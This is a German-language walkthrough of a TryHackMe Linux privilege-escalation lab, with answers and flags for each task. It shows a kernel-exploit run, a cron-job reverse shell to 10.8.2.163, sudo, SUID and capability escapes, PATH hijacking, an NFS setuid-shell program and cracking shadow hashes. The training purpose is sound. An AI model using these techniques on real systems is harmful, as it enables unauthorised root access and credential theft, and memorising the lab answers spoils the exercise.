https://tryhackme.com/room/linprivesc

Task 1 Introduction

Keine Fragen in diesem Task.

Task 2 What is Privilege Escalation?

Keine Fragen in diesem Task.

Task 3 Enumeration

Frage 1:
What is the hostname of the target system?

Den Hostname können wir uns mir „hostname“ anzeigen lassen.

$ hostname
wade7363

Antwort 1:
wade7363

Frage 2:
What is the Linux kernel version of the target system?

Kernelinformationen können wir uns mit „uname -a“ anzeigen lassen.

$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x8
6_64 GNU/Linux

Antwort 2:
3.13.0-24-generic

Frage 3:
What Linux is this?

Die Linuxversion können wir über „/etc/issue“ erfahren.

$ cat /etc/issue
Ubuntu 14.04 LTS \n \l

Antwort 3:
Ubuntu 14.04 LTS

Frage 4:
What version of the Python language is installed on the system?

Dazu benutzen wir „python –version“.

$ python --version
Python 2.7.6

Antwort 4:
2.7.6

Frage 5:
What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)

Die Kernelversion haben wir bereits in Frage 2 erfahren. Nun googlen wir nach „3.13.0-24-generic ubuntu kernel vulnerabilities“ und erhalten die Lösung mit dem ersten Suchergebnis.

Antwort 5:
CVE-2015-1328

Task 4 Automated Enumeration Tools

Keine Fragen, aber ein paar nützliche Links:

Task 5 Privilege Escalation: Kernel Exploits

Frage 1:
find and use the appropriate kernel exploit to gain root privileges on the target system.

Diese Frage benötigt keine Antwort, wir gehen sie aber Schritt für Schritt durch.
Zuerst müssen wir die Kernelversion der Machine herausfinden:

$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x8
6_64 GNU/Linux

Googlen wir nach einem passenden Exploit und werden fündig.
Auf unserem Rechner wechseln wir in das Verzeichnis in dem wir den Exploit gespeichert haben und starten einen http Server mit:

python3 -m http.server 1234  

Wir wechseln auf die Attack Box der Machine und wechseln in das /tmp Verzeichnis, da es sonst zu Fehlern kommen könnte:

cd tmp

Nun können wir den Exploit herunterladen:

$ wget http://DEINE_THM_IP:1234/37292.c
--2022-10-20 13:07:33--  http://DEINE_THM_IP:1234/37292.c
Connecting to 10.8.2.163:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[===================================================>] 5,119       --.-K/s   in 0s      

2022-10-20 13:07:34 (233 MB/s) - ‘37292.c’ saved [5119/5119]

Jetzt müssen wir den Exploit noch kompilieren, da es sich um eine „rohe“ C-Datei handelt:

gcc 37292.c -o exploit

Den Exploit können wir jetzt mit ./exploit starten:

$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

Frage 2:
What is the content of the flag1.txt file?

Nachdem wir nun root sind, suchen wir unsere Flag:

# cd ..
# dir
bin   cdrom  etc   initrd.img  lib64   media  optroot  sbin  sys  usr  vmlinuz
boot  dev    home  lib       lost+found  mnt  procrun   srv   tmp  var
# cd home
# dir
matt
# cd matt
# dir
Desktop    Downloads  PicturesTemplates  examples.desktop
Documents  Music      PublicVideos   flag1.txt
# cat flag1.txt
THM-28392872729920

Antwort 2:
THM-28392872729920

Task 6 Privilege Escalation: Sudo

https://gtfobins.github.io/

Frage 1:
How many programs can the user „karen“ run on the target system with sudo rights?

Mit „sudo -l“ können wir uns alle Programme anzeigen lassen, die wir mit sudo ausführen können:

$ sudo -l
Matching Defaults entries for karen on ip-10-10-201-249:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-10-201-249:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano
$ 

Antwort 1:
3

Frage 2:
What is the content of the flag2.txt file?

Begeben wir uns auf die Suche nach der Flag:

$ ls
bin   dev  home  lib32libx32    media  opt root  sbin  srv  tmp  var
boot  etc  lib lib64lost+found  mnt    proc  run   snap  sys  usr
$ cd home
$ ls
ubuntu
$ cd ubuntu
$ ls
flag2.txt
$ cat flag2.txt
THM-402028394

Antwort 2:
THM-402028394

Frage 3:
How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?

Auf GTFOBins finden wir die Lösung unter Nmap – sudo:

sudo nmap --interactive

Antwort 3:
sudo nmap –interactive

Frage 4:
What is the hash of frank’s password?

Da wir nano (ein Texteditor) mit sudo Rechten ausführen können, öffnen wir damit die /etc/shadow Datei (in dieser werden die Hashes gespeichert):

sudo nano /etc/shadow

Je nach Bildschirmgröße müssen wir vielleicht etwas scrollen.

Antwort 4:
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HHjoV14aDEwW1c3CahzB1uaqeLR1

Task 7 Privilege Escalation: SUID

Frage 1:
Which user shares the name of a great comic book writer?

Auf der Machine lassen wir uns die Liste der Benutzer anzeigen:

nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
gerryconway:x:1001:1001::/home/gerryconway:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1003:1003::/home/karen:/bin/sh

Ich habe keine Ahnung wer das ist, deswegen habe ich ihn lurz gegooglet. War ja zum Glück der einzige richtige Name in der Liste.

Antwort 1:
gerryconway

Frage 2:
What is the password of user2?

Zuerst müssen wir herausfinden was wir exploiten können. Im Task wird als Beispiel nano verwendet, testen wir nano stellen wir fest, dass es auf der Machine nicht klappt. Lassen wir uns Programme mit SUID anzeigen:

find / -type f -perm -04000 -ls 2>/dev/null
--snip--
     1856     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/bin/chfn
     2300     32 -rwsr-xr-x   1 root     root               31032 Aug 16  2019 /usr/bin/pkexec
     1816    164 -rwsr-xr-x   1 root     root              166056 Jul 15  2020 /usr/bin/sudo
     1634     40 -rwsr-xr-x   1 root     root               39144 Jul 21  2020 /usr/bin/umount
     1860     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/bin/passwd
     1859     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/bin/gpasswd
     1507     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
     1857     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/bin/chsh
     1722     44 -rwsr-xr-x   1 root     root               43352 Sep  5  2019 /usr/bin/base64
     1674     68 -rwsr-xr-x   1 root     root               67816 Jul 21  2020 /usr/bin/su
     2028     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
     2166     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
     1633     56 -rwsr-xr-x   1 root     root               55528 Jul 21  2020 /usr/bin/mount

Wir haben einen spannenden Fund. Gucken wir auf GTFOBins nach möglichen Schwachstellen:

File read, genau das was wir brauchen:

base64 /etc/shadow | base64 --decode
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::

Für uns ist nur dieser untere Teil interessant. Um das Passwort herauszufinden müssen wir /etc/passwd und /etc/shadow durch John the Ripper laufen lassen. Wir speichern diesen Teil nun in einer Textdatei auf unserem Computer. Nennen wir sie „shadow.txt“.

Jetzt benötigen wir noch den Teil aus /etc/passwd. Diese können wir uns so anzeigen lassen:

base64 /etc/passwd | base64 --decode
gerryconway:x:1001:1001::/home/gerryconway:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1003:1003::/home/karen:/bin/sh

Auch hier benötigen wir nur den unteren Teil. Speichern wir ihn in „passwd.txt“ auf unserem Rechner.

Jetzt „unshadowen“ wir diese Dateien mit folgendem Befehl:

unshadow passwd.txt shadow.txt > passwort.txt

Die neue Datei können wir jetzt mit John the Ripper cracken:

john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt  
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (karen)     
Password1        (user2)     
test123          (gerryconway)     
3g 0:00:00:01 DONE (2022-10-23 13:44) 1.754g/s 10778p/s 15569c/s 15569C/s christal..tanika
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Antwort 2:
Password1

Frage 3:
What is the content of the flag3.txt file?

Nach einer kurzen Suche finden wir die Flag im Verzeichnis /home/ubuntu/flag3.txt. Wir benutzen den selben Trick wie in Frage 2:

$ base64 /home/ubuntu/flag3.txt | base64 --decode
THM-3847834

Antwort 3:
THM-3847834

Task 8 Privilege Escalation: Capabilities

Frage 1:
Complete the task described above on the target system

Hier holen wir uns wieder bei GTFOBins Hilfe, müssen nur py zu py3 ändern:

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Erase is control-H (^H).
# whoami
root
# 

Frage 2:
How many binaries have set capabilities?

getcap -r /

Die unteren Ausgaben sind die „fehlerfreien“:

--snip--
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

Antwort 2:
6

Frage 3:
What other binary can be used through its capabilities?

Wir müssen unsere Binaries mit der Capabilies Liste auf GTFOBins vergleichen

Antwort 3:
view

Frage 4:
What is the content of the flag4.txt file?

In unserer neuen root shell begeben wir uns auf die Suche:

# ls
vim
# cd ..
# ls
karen  ubuntu
# cd karen 
# ls
vim
# cd ..
# cd ubuntu
# ls
flag4.txt  view
# cat flag4.txt
THM-9349843

Antwort 4:
THM-9349843

Task 9 Privilege Escalation: Cron Jobs

Frage 1:
How many user-defined cron jobs can you see on the target system?

cat /etc/crontab
--snip--
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

Antwort 1:
4

Frage 2:
What is the content of the flag5.txt file?

In Frage 1 haben wir gesehen, dass backup.sh in unserem Verzeichnis abgelegt ist. Das bedeutet, dass wir diese Datei (mit unseren Rechten auf der Machine) auch ändern können. Öffnen wir backup.sh:

nano backup.sh

Wir ersetzen den kompletten Inhalt durch folgenden Code:

#!/bin/bash

bash -i >& /dev/tcp/10.8.2.163/1234 0>&1

Jetzt müssen wir die Datei noch ausführbar machen, anonsten kann sie der Cronjob nicht ausführen:

chmod +x backup.sh

Auf unserem Rechner starten wir einen Listener und warten auf den Anruf:

nc -lvnp 1234

Etwas später haben wir root Zugriff:

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.0.121.
Ncat: Connection from 10.10.0.121:55078.
bash: cannot set terminal process group (12983): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-0-121:~# 

Endlich können wir uns den Inhalt der Flag anzeigen lassen:

root@ip-10-10-0-121:~# cat /home/ubuntu/flag5.txt
cat /home/ubuntu/flag5.txt
THM-383000283
root@ip-10-10-0-121:~# 

Antwort 2:
THM-383000283

Frage 3:
What is Matt’s password?

Hier gehen wir vor wie in Task 7 und kopieren die Inhalte von /etc/passwd und /etc/shadow in jeweils eine Textdatei, unshadown sie und lassen das Passwort von John the Ripper cracken:

matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
matt:x:1002:1002::/home/matt:/bin/sh
unshadow passwd.txt shadow.txt > passwort.txt
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (matt)     
1g 0:00:00:00 DONE (2022-10-23 15:16) 5.882g/s 12047p/s 12047c/s 12047C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                    

Antwort 3:
123456

Task 10 Privilege Escalation: PATH

Frage 1:
What is the odd folder you have write access for?

Mit dem vorgegebenen Befehl lassen wir uns die schreibbaren Ordner ausgeben:

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

dev/char
dev/fd
dev/full
dev/fuse
dev/log
dev/mqueue
dev/net
dev/null
dev/ptmx
dev/pts
dev/random
dev/shm
dev/stderr
dev/stdin
dev/stdout
dev/tty
dev/urandom
dev/zero
etc/udev
home/murdoch
run/acpid.socket
run/dbus
run/lock
run/screen
run/shm
run/snapd-snap.socket
run/snapd.socket
run/systemd
run/user
run/uuidd
snap/core
snap/core18
snap/core20
sys/fs
sys/kernel
tmp
tmp/.ICE-unix
tmp/.Test-unix
tmp/.X11-unix
tmp/.XIM-unix
tmp/.font-unix
usr/lib
var/crash
var/lock
var/tmp

Antwort 1:
/home/murdoch

Frage 2:
What is the content of the flag6.txt file?

In Frage 1 haben wir Schreibrechte auf dem ungewöhnlichen Murdoch Ordner, wir sollten uns mal seinen Inhalt ansehen:

cd /home/murdoch
ls
$ ls
test  thm.py

thm.py ist ein Programm, das in der Programmiersprache Python geschrieben wurden. Mit „cat thm.py“ können wir uns den Code ansehen:

$ cat thm.py
/usr/bin/python3

import os
import sys

try: 
        os.system("thm")
except:
        sys.exit()

Das Programm beruft sich auf „thm“ aber bringt uns momentan nicht weiter. Schauen wir uns „test“ an und versuchen es auszuführen:

./test
sh: 1: thm: not found

„test“ benötigt also auch „thm“ . Vielleicht kann uns das mit einem kleinem Script weiterhelfen. Suchen wir zuerst den Pfad der flag6.txt. Diese befindet sich unter /home/matt/flag6.txt.

Erstellen wir im murdoch Ordner usere „thm“ Datei:

nano thm

Und fügen folgenden Text ein:

cat /home/matt/flag6.txt

Die neue Datei müssen wir ausführbar machen:

chmod +x thm

Zu guter Letzt müssen wir den neuen Pfad noch der PATH Variablen hinzufügen:

export PATH=/home/murdoch:$PATH

Jetzt können wir „test“ ausführen:

./test
./test
THM-736628929

Antwort 2:
THM-736628929

Task 11 Privilege Escalation: NFS

Frage 1:
How many mountable shares can you identify on the target system?

Wir loggen uns auf der Machine ein und geben folgenden Befehl ein:

cat /etc/exports
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

Antwort 1:
3

Frage 2:
How many shares have the „no_root_squash“ option enabled?

Aus der Antwort zu Frage 1 sehen wir, dass alle 3 shares no_root_squash aktiviert haben.

Antwort 2:
3

Frage 3:
Gain a root shell on the target system

Zuerst erstellen wir uns ein neues Verzeichnis. Dieses mounten wir auf die Machine:

mkdir /tmp/machine  

Jetzt mounten wir unseren Ordner auf ein no_root_squash Verzeichnis der Machine. Sudo ist wichtig, wenn wir keinen root Account auf unserem Rechner verwenden:

sudo mount -o rw 10.10.151.141:/tmp /tmp/machine

Wir wechseln in das neue Verzeichnis (quasi auf die Machine):

cd /tmp/machine

Anschließend erstellen wir unseren kleinen Code:

nano nfs.c

Und fügen folgendes ein:

int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

Jetzt müssen wir unser Programm durch den Compiler laufen lassen und Rechte setzen:

gcc nfs.c -o nfs -w
chmod +s nfs 

Jetzt loggen wir uns per SSH auf der Machine ein und navigieren in das tmp Verzeichnis:

cd /tmp

Hier sind unsere beiden Dateien (nfs und nfs.c) führen wir also nfs aus und erhalten root:

./nfs

Jetzt haben wir root Zugriff.

Frage 4:
What is the content of the flag7.txt file?

Da wir nun root Zugriff auf die Machine haben, lassen wir uns den Inhalt der Flag ausgeben:

cat /home/matt/flag7.txt

Antwort 4:
THM-89384012

Task 12 Capstone Challenge

Frage 1:
What is the content of the flag1.txt file?

Fangen wir simpel an und lassen uns erstmal die Userliste anzeigen:

nano /etc/passwd

Diese speichern wir wieder in einer passwd.txt Datei. Jetzt benötigen wir noch /etc/shadow, um beide Dateien zu „unshadowen“ und sie anschließend mit John the Ripper zu cracken.
Suchen wir wieder nach Dateien mit der Berechtigung „s“:

find / -type f -perm -04000 -ls 2>/dev/null

HIer finden wir wieder base64 (wie in Task 7):

[leonard@ip-10-10-51-214 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966   40 -rwsr-xr-x   1 root     root        37360 Aug 20  2019 /usr/bin/base64                                                                                                                                                        
17298702   60 -rwsr-xr-x   1 root     root        61320 Sep 30  2020 /usr/bin/ksu    
--snip--

Mit base64 können wir uns (trotz nicht ausreichender Berechtigung) den Inhalt von /etc/shadow anzeigen lassen:

base64 /etc/shadow | base64 --decode

Den Inhalt von /etc/shadow kopieren wir in eine shadow.txt Datei auf unserem Rechner.

Jetzt müssen wir beide Dateien „unshadowen“:

unshadow passwd.txt shadow.txt > passwort.txt

Und mit John the Ripper cracken:

john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt  
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt  
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (missy)     
Penny123         (leonard) 

Wir konnten das Passwort von missy herausfinden, also loggen wir uns per ssh mit missys Account ein und suchen die Flag:

[missy@ip-10-10-51-214 ~]$ ls
Desktop  Documents  Downloads  Music  perl5  Pictures  Public  Templates  Videos
[missy@ip-10-10-51-214 ~]$ cd Documents
[missy@ip-10-10-51-214 Documents]$ ls
flag1.txt
[missy@ip-10-10-51-214 Documents]$ cat flag1.txt
THM-42828719920544

Antwort 1:
THM-42828719920544

Frage 2:
What is the content of the flag2.txt file?

Neue Account, neues Glück. Wir lassen und diesmal alle Programme anzeigen, die wir mit sudo ausführen können:

sudo -l
[missy@ip-10-10-51-214 Documents]$ sudo -l
Matching Defaults entries for missy on ip-10-10-51-214:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User missy may run the following commands on ip-10-10-51-214:
    (ALL) NOPASSWD: /usr/bin/find

Wir können also find mit sudo ausführen. Gehen wir wieder auf GTFOBins und suchen eine Schwachstelle mit find:

Holen wir uns den root Zugriff:

[missy@ip-10-10-51-214 Documents]$ sudo find . -exec /bin/sh \; -quit
sh-4.2# whoami
root

Suchen wir die Flag:

sh-4.2# ls
flag1.txt
sh-4.2# cd ..
sh-4.2# ls
Desktop  Documents  Downloads  Music  perl5  Pictures  Public  Templates  Videos
sh-4.2# cd ..
sh-4.2# ls
leonard  missy  rootflag
sh-4.2# cd rootflag
sh-4.2# ls
flag2.txt
sh-4.2# cat flag2.txt
THM-168824782390238
sh-4.2# 

Antwort 2:
THM-168824782390238

Hiermit ist der Jr Penetration Tester Pfad beendet und wir hab ein weiteres Zertifikat in unserer Sammlung!